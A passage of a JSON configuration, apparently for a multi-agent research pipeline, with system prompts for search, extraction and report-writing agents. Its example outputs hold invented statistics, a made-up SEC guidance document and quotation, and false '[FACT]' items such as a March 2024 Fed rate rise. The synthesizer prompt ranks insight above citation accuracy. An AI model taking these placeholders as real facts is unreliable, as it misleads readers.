Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n\n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n\n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n\n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n\n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Deep Research Agent" + }, + "dragging": false, + "id": "Agent:NewPumasLick", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 349.221504973113, + "y": 187.54407956980737 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n\n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n\n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n\n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n\n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n\n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n\n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.", + "temperature": 0.2, + "temperatureEnabled": false, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Web Search Specialist" + }, + "dragging": false, + "id": "Agent:FreeDucksObey", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 222.58483776738626, + "y": 358.6838806452889 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n\n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-auto@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n\n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n\n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n\n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n\n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n\n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n\n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilyExtract", + "name": "TavilyExtract", + "params": { + "api_key": "" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Content Deep Reader" + }, + "dragging": false, + "id": "Agent:WeakBoatsServe", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 528.1805592730606, + "y": 336.88601989245177 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n\n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-128k@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n\n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n\n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n\n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n\n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n\n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals 